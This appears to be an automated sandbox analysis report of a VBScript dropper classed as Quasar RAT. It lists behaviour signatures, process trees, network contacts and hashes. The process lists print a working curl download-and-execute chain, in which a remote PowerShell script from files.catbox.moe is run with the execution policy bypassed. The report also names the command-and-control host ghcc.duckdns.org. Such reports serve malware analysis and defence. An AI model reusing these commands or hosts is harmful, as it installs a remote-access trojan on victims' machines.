Analysis Overview
SHA256
664e3869703282407878479b644155607546c786f69cac5718055005c34b8c82
Threat Level: Known bad
The file vb.vbs was found to be: Known bad.
Malicious Activity Summary
Quasar RAT
Quasar payload
Checks computer location settings
Looks up external IP address via web service
Suspicious use of SetThreadContext
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2023-01-16 07:46
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-01-16 07:46
Reported
2023-01-16 07:51
Platform
win7-20221111-en
Max time kernel
40s
Max time network
29s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\vb.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd.exe /c curl https://files.catbox.moe/nvz0g1.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\system32\cmd.exe
cmd.exe /c curl https://files.catbox.moe/nvz0g1.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\system32\cmd.exe
cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
Network
Files
memory/2004-54-0x000007FEFB5B1000-0x000007FEFB5B3000-memory.dmp
memory/1424-55-0x0000000000000000-mapping.dmp
memory/580-56-0x0000000000000000-mapping.dmp
memory/1876-57-0x0000000000000000-mapping.dmp
memory/1616-58-0x0000000000000000-mapping.dmp
memory/1780-59-0x0000000000000000-mapping.dmp
memory/1780-61-0x000007FEF3220000-0x000007FEF3C43000-memory.dmp
memory/1780-62-0x0000000002824000-0x0000000002827000-memory.dmp
memory/1780-63-0x000007FEF2600000-0x000007FEF315D000-memory.dmp
memory/1780-64-0x000000000282B000-0x000000000284A000-memory.dmp
memory/1780-65-0x0000000002824000-0x0000000002827000-memory.dmp
memory/1780-66-0x000000000282B000-0x000000000284A000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-01-16 07:46
Reported
2023-01-16 07:50
Platform
win10v2004-20220812-en
Max time kernel
160s
Max time network
208s
Command Line
Signatures
Quasar RAT
Quasar payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | api.ipify.org | N/A | N/A |
| N/A | api.ipify.org | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4628 set thread context of 1644 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\vb.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd.exe /c curl https://files.catbox.moe/nvz0g1.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\system32\cmd.exe
cmd.exe /c curl https://files.catbox.moe/nvz0g1.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\system32\curl.exe
curl https://files.catbox.moe/nvz0g1.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\system32\cmd.exe
cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Network
| Country | Destination | Domain | Proto |
| N/A | 52.182.141.63:443 | tcp | |
| N/A | 93.184.221.240:80 | tcp | |
| N/A | 8.8.8.8:53 | files.catbox.moe | udp |
| N/A | 107.160.74.134:443 | files.catbox.moe | tcp |
| N/A | 93.184.221.240:80 | tcp | |
| N/A | 8.8.8.8:53 | 151.122.125.40.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | ghcc.duckdns.org | udp |
| N/A | 95.216.102.32:4782 | ghcc.duckdns.org | tcp |
| N/A | 8.8.8.8:53 | tools.keycdn.com | udp |
| N/A | 185.172.148.96:443 | tools.keycdn.com | tcp |
| N/A | 8.8.8.8:53 | api.ipify.org | udp |
| N/A | 64.185.227.155:443 | api.ipify.org | tcp |
Files
memory/4828-132-0x0000000000000000-mapping.dmp
memory/4780-133-0x0000000000000000-mapping.dmp
memory/4792-134-0x0000000000000000-mapping.dmp
memory/4584-135-0x0000000000000000-mapping.dmp
memory/1996-136-0x0000000000000000-mapping.dmp
memory/4628-137-0x0000000000000000-mapping.dmp
memory/4628-138-0x0000019043090000-0x00000190430B2000-memory.dmp
C:\Users\Admin\AppData\Roaming\rr.ps1
| MD5 | 7aad8bcb11ff3deab23cc311222fe265 |
| SHA1 | 3d9a69c71e00aff947af949441220f18bad9e0d8 |
| SHA256 | c90652e3d658848ea93fc3b70bec8122366ea3a9cc79a11cd47d7b5c418b9b2a |
| SHA512 | f6bb4fd8ffab5b08ed8c0991e8c57d91702cbfc6034e7157c720c5b94b55f88788a4273c9ec46e63ac0c286f24ff4ad17e925074f6766a5fab53eb4959728fe9 |
memory/4628-140-0x00007FFB92CC0000-0x00007FFB93781000-memory.dmp
memory/1644-141-0x0000000000400000-0x0000000000484000-memory.dmp
memory/1644-142-0x000000000047E7AE-mapping.dmp
memory/4628-143-0x00007FFB92CC0000-0x00007FFB93781000-memory.dmp
memory/1644-144-0x0000000005900000-0x0000000005EA4000-memory.dmp
memory/1644-145-0x0000000005350000-0x00000000053E2000-memory.dmp
memory/1644-146-0x00000000052E0000-0x00000000052EA000-memory.dmp
memory/1644-147-0x00000000066D0000-0x0000000006CE8000-memory.dmp
memory/1644-148-0x0000000005860000-0x00000000058B0000-memory.dmp
memory/1644-149-0x00000000062E0000-0x0000000006392000-memory.dmp
memory/1644-150-0x00000000075A0000-0x0000000007606000-memory.dmp